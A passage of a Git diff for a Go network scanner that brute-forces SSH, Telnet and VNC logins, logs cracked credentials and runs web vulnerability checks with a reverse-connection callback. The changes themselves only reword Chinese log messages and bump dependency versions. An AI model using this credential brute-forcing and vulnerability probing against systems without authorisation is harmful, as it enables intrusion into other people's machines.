return false, fmt.Errorf("读取密钥失败: %v", err)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
|
||||
return false, fmt.Errorf("解析密钥失败: %v", err)
|
||||
}
|
||||
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
return true, err
|
||||
}
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, string(output)))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, user, pass, string(output)))
|
||||
}
|
||||
} else {
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v",
|
||||
info.Host, info.Ports))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
}
|
||||
}
|
||||
|
@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.noAuth {
|
||||
// 无需认证
|
||||
result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证",
|
||||
result := fmt.Sprintf("Telnet服务 %v:%v 无需认证",
|
||||
info.Host, info.Ports)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
return
|
||||
} else if result.success {
|
||||
// 成功爆破
|
||||
result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v",
|
||||
result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
|
||||
errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v",
|
||||
successLog := fmt.Sprintf("%s://%v:%v 密码: %v",
|
||||
modename, info.Host, info.Ports, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v",
|
||||
modename, info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error {
|
||||
if !Common.DisablePoc && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err)
|
||||
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 重定向地址: %s", reurl)
|
||||
@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
Common.LogError(err)
|
||||
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
|
||||
}
|
||||
}()
|
||||
conn.Close()
|
||||
|
@ -44,15 +44,10 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for task := range tasks {
|
||||
// 执行POC检测
|
||||
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
|
||||
|
||||
if isVulnerable {
|
||||
// 格式化输出结果
|
||||
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
|
||||
" 漏洞类型: %s\n"+
|
||||
" 漏洞名称: %s\n"+
|
||||
" 详细信息: %s",
|
||||
result := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息: %s",
|
||||
task.Req.URL,
|
||||
task.Poc.Name,
|
||||
vulName,
|
||||
@ -101,13 +96,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
// 创建执行环境
|
||||
env, err := NewEnv(&config)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
|
||||
return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
|
||||
}
|
||||
|
||||
// 解析请求
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
|
||||
return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
|
||||
}
|
||||
|
||||
// 初始化变量映射
|
||||
@ -126,7 +121,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
continue
|
||||
}
|
||||
if err, _ = evalset(env, variableMap, key, expression); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
|
||||
Common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
|
||||
}
|
||||
}
|
||||
|
||||
@ -167,14 +162,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
}
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
|
||||
// 创建新的请求
|
||||
// 创建新请求
|
||||
newRequest, err := http.NewRequest(
|
||||
rule.Method,
|
||||
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
|
||||
strings.NewReader(rule.Body),
|
||||
)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("创建新请求失败: %v", err)
|
||||
return false, fmt.Errorf("请求创建错误: %v", err)
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
@ -247,8 +242,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
// 编译正则表达式
|
||||
r, err := regexp.Compile(re)
|
||||
// 正则表达式编译
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
|
||||
Common.LogError(fmt.Sprintf("正则编译错误: %v", err))
|
||||
return nil
|
||||
}
|
||||
|
||||
@ -323,8 +319,9 @@ func newReverse() *Reverse {
|
||||
// 构建URL
|
||||
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
|
||||
u, err := url.Parse(urlStr)
|
||||
// 解析反连URL
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
|
||||
Common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
|
||||
return &Reverse{}
|
||||
}
|
||||
|
||||
@ -463,13 +460,11 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
if success {
|
||||
// 处理成功情况
|
||||
if currentRule.Continue {
|
||||
// 特殊POC的输出处理
|
||||
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
|
||||
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
|
||||
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
|
||||
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams))
|
||||
}
|
||||
continue
|
||||
}
|
||||
@ -477,8 +472,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
// 记录成功的参数组合
|
||||
strMap = append(strMap, currentParams...)
|
||||
if ruleIndex == len(p.Rules)-1 {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
|
||||
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
|
||||
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap))
|
||||
return false, nil
|
||||
}
|
||||
break paramLoop
|
||||
@ -600,9 +595,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
|
||||
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
|
||||
return false, fmt.Errorf("HTTP请求错误: %v", err)
|
||||
}
|
||||
defer func() { newRequest = nil }() // 及时释放资源
|
||||
defer func() { newRequest = nil }()
|
||||
|
||||
// 设置请求头
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
@ -613,7 +608,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
// 发送请求
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
|
||||
return false, fmt.Errorf("请求发送错误: %v", err)
|
||||
}
|
||||
|
||||
// 更新响应到变量映射
|
||||
@ -638,11 +633,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Syntax error") {
|
||||
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
|
||||
Common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
|
||||
|
||||
// 检查表达式执行结果
|
||||
if fmt.Sprintf("%v", out) == "false" {
|
||||
return false, nil
|
||||
|
6
go.mod
6
go.mod
@ -8,7 +8,7 @@ require (
|
||||
github.com/IBM/sarama v1.43.3
|
||||
github.com/Ullaakut/nmap v2.0.2+incompatible
|
||||
github.com/denisenkom/go-mssqldb v0.12.3
|
||||
github.com/fatih/color v1.7.0
|
||||
github.com/fatih/color v1.18.0
|
||||
github.com/go-ldap/ldap/v3 v3.4.9
|
||||
github.com/go-ole/go-ole v1.3.0
|
||||
github.com/go-resty/resty/v2 v2.16.2
|
||||
@ -66,8 +66,8 @@ require (
|
||||
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
|
||||
github.com/klauspost/compress v1.17.9 // indirect
|
||||
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
|
||||
github.com/mattn/go-colorable v0.0.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.3 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.21 // indirect
|
||||
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
|
||||
github.com/rogpeppe/go-internal v1.13.1 // indirect
|
||||
|
9
go.sum
9
go.sum
@ -66,6 +66,8 @@ github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
|
||||
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
|
||||
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
|
||||
github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
@ -235,8 +237,13 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6w
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
|
||||
@ -480,8 +487,10 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
|
Loading…
Reference in New Issue
Block a user